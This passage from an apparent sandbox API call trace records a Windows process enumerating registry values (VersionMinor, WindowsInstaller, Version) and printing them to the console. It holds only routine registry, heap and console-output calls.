cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.170] GetConsoleOutputCP () returned 0x1b5 [0148.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.170] __iob_func () returned 0x7fefd702a80 [0148.170] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.170] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x4") returned 3 [0148.170] _fileno (_File=0x7fefd702ab0) returned 1 [0148.170] _errno () returned 0xc4bb0 [0148.170] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.170] _errno () returned 0xc4bb0 [0148.170] GetFileType (hFile=0x50) returned 0x1 [0148.170] lstrlenW (lpString="0x4") returned 3 [0148.170] GetConsoleOutputCP () returned 0x1b5 [0148.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.170] GetConsoleOutputCP () returned 0x1b5 [0148.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x4", lpUsedDefaultChar=0x0) returned 3 [0148.170] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.170] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.170] __iob_func () returned 0x7fefd702a80 [0148.171] _fileno (_File=0x7fefd702ab0) returned 1 [0148.171] _errno () returned 0xc4bb0 [0148.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.171] _errno () returned 0xc4bb0 [0148.171] GetFileType (hFile=0x50) returned 0x1 [0148.171] lstrlenW (lpString="\n") returned 1 [0148.171] GetConsoleOutputCP () returned 0x1b5 [0148.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.171] GetConsoleOutputCP () returned 0x1b5 [0148.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.171] GetProcessHeap () returned 0x2e0000 [0148.171] GetProcessHeap () returned 0x2e0000 [0148.171] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.171] GetProcessHeap () returned 0x2e0000 [0148.171] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.171] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.171] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.171] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.171] GetProcessHeap () returned 0x2e0000 [0148.171] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.171] GetProcessHeap () returned 0x2e0000 [0148.171] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.171] GetProcessHeap () returned 0x2e0000 [0148.171] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.171] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x6, pcbData=0x23f670*=0x4) returned 0x0 [0148.172] __iob_func () returned 0x7fefd702a80 [0148.172] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.172] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.172] _fileno (_File=0x7fefd702ab0) returned 1 [0148.172] _errno () returned 0xc4bb0 [0148.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.172] _errno () returned 0xc4bb0 [0148.172] GetFileType (hFile=0x50) returned 0x1 [0148.172] lstrlenW (lpString=" ") returned 4 [0148.172] GetConsoleOutputCP () returned 0x1b5 [0148.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.172] GetConsoleOutputCP () returned 0x1b5 [0148.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.172] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.172] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.172] lstrlenW (lpString="VersionMinor") returned 12 [0148.172] __iob_func () returned 0x7fefd702a80 [0148.172] _fileno (_File=0x7fefd702ab0) returned 1 [0148.172] _errno () returned 0xc4bb0 [0148.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.172] _errno () returned 0xc4bb0 [0148.172] GetFileType (hFile=0x50) returned 0x1 [0148.172] lstrlenW (lpString="VersionMinor") returned 12 [0148.172] GetConsoleOutputCP () returned 0x1b5 [0148.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.173] GetConsoleOutputCP () returned 0x1b5 [0148.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.173] __iob_func () returned 0x7fefd702a80 [0148.173] _fileno (_File=0x7fefd702ab0) returned 1 [0148.173] _errno () returned 0xc4bb0 [0148.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.173] _errno () returned 0xc4bb0 [0148.173] GetFileType (hFile=0x50) returned 0x1 [0148.173] lstrlenW (lpString=" ") returned 4 [0148.173] GetConsoleOutputCP () returned 0x1b5 [0148.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.173] GetConsoleOutputCP () returned 0x1b5 [0148.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.173] __iob_func () returned 0x7fefd702a80 [0148.173] _fileno (_File=0x7fefd702ab0) returned 1 [0148.173] _errno () returned 0xc4bb0 [0148.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.173] _errno () returned 0xc4bb0 [0148.173] GetFileType (hFile=0x50) returned 0x1 [0148.174] lstrlenW (lpString="REG_DWORD") returned 9 [0148.174] GetConsoleOutputCP () returned 0x1b5 [0148.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.174] GetConsoleOutputCP () returned 0x1b5 [0148.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.174] __iob_func () returned 0x7fefd702a80 [0148.174] _fileno (_File=0x7fefd702ab0) returned 1 [0148.174] _errno () returned 0xc4bb0 [0148.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.174] _errno () returned 0xc4bb0 [0148.174] GetFileType (hFile=0x50) returned 0x1 [0148.174] lstrlenW (lpString=" ") returned 4 [0148.174] GetConsoleOutputCP () returned 0x1b5 [0148.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.174] GetConsoleOutputCP () returned 0x1b5 [0148.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.175] __iob_func () returned 0x7fefd702a80 [0148.175] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.175] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x6") returned 3 [0148.175] _fileno (_File=0x7fefd702ab0) returned 1 [0148.175] _errno () returned 0xc4bb0 [0148.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.175] _errno () returned 0xc4bb0 [0148.175] GetFileType (hFile=0x50) returned 0x1 [0148.175] lstrlenW (lpString="0x6") returned 3 [0148.175] GetConsoleOutputCP () returned 0x1b5 [0148.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x6", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.175] GetConsoleOutputCP () returned 0x1b5 [0148.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x6", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x6", lpUsedDefaultChar=0x0) returned 3 [0148.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.175] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.175] __iob_func () returned 0x7fefd702a80 [0148.175] _fileno (_File=0x7fefd702ab0) returned 1 [0148.175] _errno () returned 0xc4bb0 [0148.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.175] _errno () returned 0xc4bb0 [0148.175] GetFileType (hFile=0x50) returned 0x1 [0148.175] lstrlenW (lpString="\n") returned 1 [0148.175] GetConsoleOutputCP () returned 0x1b5 [0148.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.176] GetConsoleOutputCP () returned 0x1b5 [0148.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.176] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.176] GetProcessHeap () returned 0x2e0000 [0148.176] GetProcessHeap () returned 0x2e0000 [0148.176] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.176] GetProcessHeap () returned 0x2e0000 [0148.176] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.176] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.176] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.176] GetProcessHeap () returned 0x2e0000 [0148.176] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.176] GetProcessHeap () returned 0x2e0000 [0148.176] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.176] GetProcessHeap () returned 0x2e0000 [0148.176] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.176] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.176] __iob_func () returned 0x7fefd702a80 [0148.176] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.176] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.176] _fileno (_File=0x7fefd702ab0) returned 1 [0148.176] _errno () returned 0xc4bb0 [0148.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.176] _errno () returned 0xc4bb0 [0148.176] GetFileType (hFile=0x50) returned 0x1 [0148.176] lstrlenW (lpString=" ") returned 4 [0148.176] GetConsoleOutputCP () returned 0x1b5 [0148.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.177] GetConsoleOutputCP () returned 0x1b5 [0148.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.177] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.177] __iob_func () returned 0x7fefd702a80 [0148.177] _fileno (_File=0x7fefd702ab0) returned 1 [0148.177] _errno () returned 0xc4bb0 [0148.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.177] _errno () returned 0xc4bb0 [0148.177] GetFileType (hFile=0x50) returned 0x1 [0148.177] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.177] GetConsoleOutputCP () returned 0x1b5 [0148.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.177] GetConsoleOutputCP () returned 0x1b5 [0148.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0148.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0148.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.178] __iob_func () returned 0x7fefd702a80 [0148.178] _fileno (_File=0x7fefd702ab0) returned 1 [0148.178] _errno () returned 0xc4bb0 [0148.178] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.178] _errno () returned 0xc4bb0 [0148.178] GetFileType (hFile=0x50) returned 0x1 [0148.178] lstrlenW (lpString=" ") returned 4 [0148.178] GetConsoleOutputCP () returned 0x1b5 [0148.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.178] GetConsoleOutputCP () returned 0x1b5 [0148.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.179] __iob_func () returned 0x7fefd702a80 [0148.179] _fileno (_File=0x7fefd702ab0) returned 1 [0148.179] _errno () returned 0xc4bb0 [0148.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.179] _errno () returned 0xc4bb0 [0148.179] GetFileType (hFile=0x50) returned 0x1 [0148.179] lstrlenW (lpString="REG_DWORD") returned 9 [0148.179] GetConsoleOutputCP () returned 0x1b5 [0148.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.179] GetConsoleOutputCP () returned 0x1b5 [0148.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.179] __iob_func () returned 0x7fefd702a80 [0148.179] _fileno (_File=0x7fefd702ab0) returned 1 [0148.179] _errno () returned 0xc4bb0 [0148.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.179] _errno () returned 0xc4bb0 [0148.179] GetFileType (hFile=0x50) returned 0x1 [0148.179] lstrlenW (lpString=" ") returned 4 [0148.179] GetConsoleOutputCP () returned 0x1b5 [0148.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.179] GetConsoleOutputCP () returned 0x1b5 [0148.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.180] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.180] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.180] __iob_func () returned 0x7fefd702a80 [0148.180] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.180] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.180] _fileno (_File=0x7fefd702ab0) returned 1 [0148.180] _errno () returned 0xc4bb0 [0148.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.180] _errno () returned 0xc4bb0 [0148.180] GetFileType (hFile=0x50) returned 0x1 [0148.180] lstrlenW (lpString="0x1") returned 3 [0148.180] GetConsoleOutputCP () returned 0x1b5 [0148.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.180] GetConsoleOutputCP () returned 0x1b5 [0148.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.181] __iob_func () returned 0x7fefd702a80 [0148.181] _fileno (_File=0x7fefd702ab0) returned 1 [0148.181] _errno () returned 0xc4bb0 [0148.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.181] _errno () returned 0xc4bb0 [0148.181] GetFileType (hFile=0x50) returned 0x1 [0148.181] lstrlenW (lpString="\n") returned 1 [0148.181] GetConsoleOutputCP () returned 0x1b5 [0148.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.181] GetConsoleOutputCP () returned 0x1b5 [0148.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.181] GetProcessHeap () returned 0x2e0000 [0148.181] GetProcessHeap () returned 0x2e0000 [0148.181] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.181] GetProcessHeap () returned 0x2e0000 [0148.181] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.181] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.181] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.181] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.182] GetProcessHeap () returned 0x2e0000 [0148.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.182] GetProcessHeap () returned 0x2e0000 [0148.182] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.182] GetProcessHeap () returned 0x2e0000 [0148.182] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.182] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x4060051, pcbData=0x23f670*=0x4) returned 0x0 [0148.182] __iob_func () returned 0x7fefd702a80 [0148.182] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.182] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.182] _fileno (_File=0x7fefd702ab0) returned 1 [0148.182] _errno () returned 0xc4bb0 [0148.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.182] _errno () returned 0xc4bb0 [0148.182] GetFileType (hFile=0x50) returned 0x1 [0148.182] lstrlenW (lpString=" ") returned 4 [0148.182] GetConsoleOutputCP () returned 0x1b5 [0148.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.182] GetConsoleOutputCP () returned 0x1b5 [0148.182] WideCharToMultiByte (in: 